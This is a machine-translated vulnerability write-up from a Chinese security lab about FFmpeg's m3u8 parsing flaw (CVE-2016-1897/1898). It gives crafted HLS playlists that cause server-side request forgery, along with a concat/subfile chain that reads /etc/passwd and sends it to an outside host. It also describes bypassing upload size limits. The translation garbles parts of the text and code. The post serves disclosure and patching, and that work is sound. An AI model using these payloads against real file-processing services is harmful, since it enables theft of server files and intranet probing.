Data Flow · 2016/05/09 10:03

Author: Data Stream (LeeFly)@ Fuchen Safety Laboratory

0 x00 preface

This period of time there are many vulnerabilities suddenly broke out, just like the ImageMagick vulnerability these days, swept the domestic Internet. This day or two in The cloud @noxxx first sent two big manufacturers FFmpeg vulnerability, and then also by other white hats have submitted vulnerabilities. The scope and severity are not as great as ImageMagick’s, but there are a number of big vendors that are vulnerable, and what they all have in common is a common component for processing files. Ironically, this bug was published around May last year and was used in some overseas CTF competitions; Until now, the major domestic manufacturers basically also have this vulnerability.

FFmpeg is an open source computer program that can record, convert, and stream digital audio and video. The function is very powerful, is every video website indispensable multimedia file processing program.

0x01 Vulnerability Overview

In FFMPEg2. X due to improper handling of HTTP Live Streaming media m3U8 files in parsing, can lead to SSRF vulnerability with arbitrary file reading vulnerability. This vulnerability is triggered when a website allows users to upload multimedia files that are processed using FFMpeg.

This vulnerability has two CVE numbers, namely CVE-2016-1897 and CVE-2016-1898. The difference between them lies in the number of lines of a file. Cve-2016-1897 can only read the first line of a file, while CVE-2016-1898 can read any line of a file. So here’s the analysis.

0x02 HLS (HTTP Live Streaming)

Because the vulnerability is in the parsing of HLS streaming media files out of the problem, so we must first understand HLS.

HTTP Live Streaming (HLS) is an HTTP communication protocol developed by Apple. Most applications are on PCS and iphones. The basic idea is to split a video stream into many tiny, tiny, tiny TS stream files and download them over HTTP, a little at a time. When starting a new streaming session, the client first downloads an M3U8 (Playlist) file that contains all the data for that HLS session.

As shown in the figure, there is a main M3U8 format Playlist file, which can contain the m3U8 file of the subordinate. The client then indexes the subordinate M3U8 file, and continues to parse the subordinate Playlist file to obtain the HTTP request address and time range of the final TS stream file.

http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9 h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128

This is the M3U8 file of a video from Youku that reads as follows:

#EXTM3U #EXT-X-TARGETDURATION:6 #EXT-X-VERSION:2 #EXTINF:6, http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts ? Ts_start = 0 & ts_end = 5.9 & ts_seg_no = 0 & ts_keyframe = 1 # EXTINF: 0. http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts ? Ts_start = = 6.367 & 5.9 & ts_end ts_seg_no = 1 & ts_keyframe = 1 # EXT - X-ray ENDLISTCopy the code

Resolution:

• The #EXTM3U tag is the m3U8 header and must start with this line
• # ext-x-targetDuration specifies the length of the entire media in this case, 6 seconds
• # ext-x-version :2 This tag is optional
• #EXTINF:6 indicates the length of the TS stream file
• # ext-x-endList this is equivalent to the end of file

These are the most basic tags for M3U8, and the problem is FFMpeg requests TS stream files. Since we can forge an M3U8 file, FFMpeg does not judge the stream address inside and requests it directly.

0x03 Vulnerability Principle

SSRF holes:

Parse a multimedia file directly with FFMpeg

# # EXTM3U EXT - X - MEDIA - SEQUENCE: 0 # EXTINF: 10.0, http://192.168.123.100:8080/1.html # EXT - X-ray ENDLISTCopy the code

Either # ext-x-media-Sequence or # ext-x-targetDuration must exist. The former is the SEQUENCE number defining the TS stream file. Error: Invalid file)

M3u8 test.mp4 ffmpeg -I test.m3u8 test.mp4 ffmpeg -I test.m3u8 test.mp4

An HTTP request is made directly, which creates an SSRF.

Read any file with SSRF:

FFMpeg supports many extension protocols, including the ConcAT: protocol, officially known as the Physical Concatenation Protocol, which can merge multiple stream urls

So I can merge multiple urls concat: URL1 | URL2 |… |URLN

Create a primary HLS file h.m3u8 on the Web server

# # EXTM3U EXT - X - MEDIA - SEQUENCE: 0 # EXTINF: 10.0, concat: http://xxx/test.txt | http://xxx/test.txt (both TXT is m3u8, suffix can literally change, Ffmpeg automatically recognizes # ext-x-endListCopy the code

Create a subm3u8 file called test.txt, and the final request will be directed to the subm3u8 file called test.txt

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://xxx.com/?
Copy the code

Test. M3u8 was processed with FFMPEG

#EXTM3U # ext-x-targetDuration :6 #EXTINF:10.0, concat:http://xxx/h.m3u8 # ext-x-endListCopy the code

Error while reading first paragraph, URL is http://xxx/? The extra “#EXTM3U” part is the first line of the concat protocol merged TXT, http://xxx/test.txt; Ffmpeg supports a variety of protocols to obtain input streams, HTTP, FTP, SMB, file, etc., since the concat protocol can read the first line of the file, that HTTP to file protocol can read local files, the vulnerability is here.

Lord m3u8 file into a concat: http://xxx/test.txt | file:///etc/passwd, request can read again the first line of the passwd file, of course also can read the Intranet web site information.

But then you can only read one line, which doesn’t make much sense. However, FFMpeg supports a feature that intercepts fragments of a data stream: subfile. Usage: subfile, start, 153391104, the end of 268142592,, : / media/DVD/VIDEO_TS VTS_08_1 VOB

Start is the offset in bytes from which the intercepts Start and end is the offset from which the intercepts end.

Now that you can intercept the data stream, you can use subfile to get a more complete file. You can only intercept 32 bytes at a time, so continue to concat multiple data stream fragments.

# # EXTM3U EXT - X - MEDIA - SEQUENCE: 0 # EXTINF: 10.0, Concat: http://198.56.193.29:8080/test.txt | subfile, start, 0, end, 31, and: file:///etc/passwd | subfile,, start, end, 63, 32, : file: / //etc/passwd|subfile,,start,64,end,95,,:file:///etc/passwd|subfile,,start,96,end,127,,:file:///etc/passwd|subfile,,start ,127,end,158,,:file:///etc/passwd #EXT-X-ENDLISTCopy the code

This allows you to read any content of any file

0x04 Size detection bypassed

The previous ImageMagick vulnerability could not be attacked because some websites had file size detection. In this vulnerability TEST, I also found that some websites had size limits for uploading video files. There are ways to increase the file size.

Direct extension #EXTINF, as mentioned earlier, represents the length of the TS stream file, and can be extended indefinitely until it fits the size and is still parsed.

0x05 Vulnerability Impact

I tested a lot of domestic cloud disk and video website, [email protected], 360 original disk, etc., and then I tested KU6, iQiyi, 56, Sohu and so on have the problem, IQiyi I have submitted, in addition to find a lot of it is not necessary to submit, brush hole boring, submit a case warning is enough.

The following is a summary of the FFMpeg vulnerabilities reported in Cloud: Baidu cloud disk file reading /SSRF, 360 cloud disk file reading /SSRF, IQiyi master station somewhere FFmpeg vulnerability can lead to arbitrary file reading, 56 video FFmpeg parsing vulnerability SSRF, Sohu video FFmpeg vulnerability file reading /SSRF, shida a station SSRF can read local files & probe the Intranet , etc.

Overall, the threat is quite large, and many large manufacturers have been hit. Uploading pictures used to get screwed, now uploading videos will get screwed. These general-purpose file-processing programs are the hacker’s paradise.

0x06 Vulnerability Fixed

At present, the vulnerability has been fixed in FFMpeg2.8.5, please upgrade users immediately.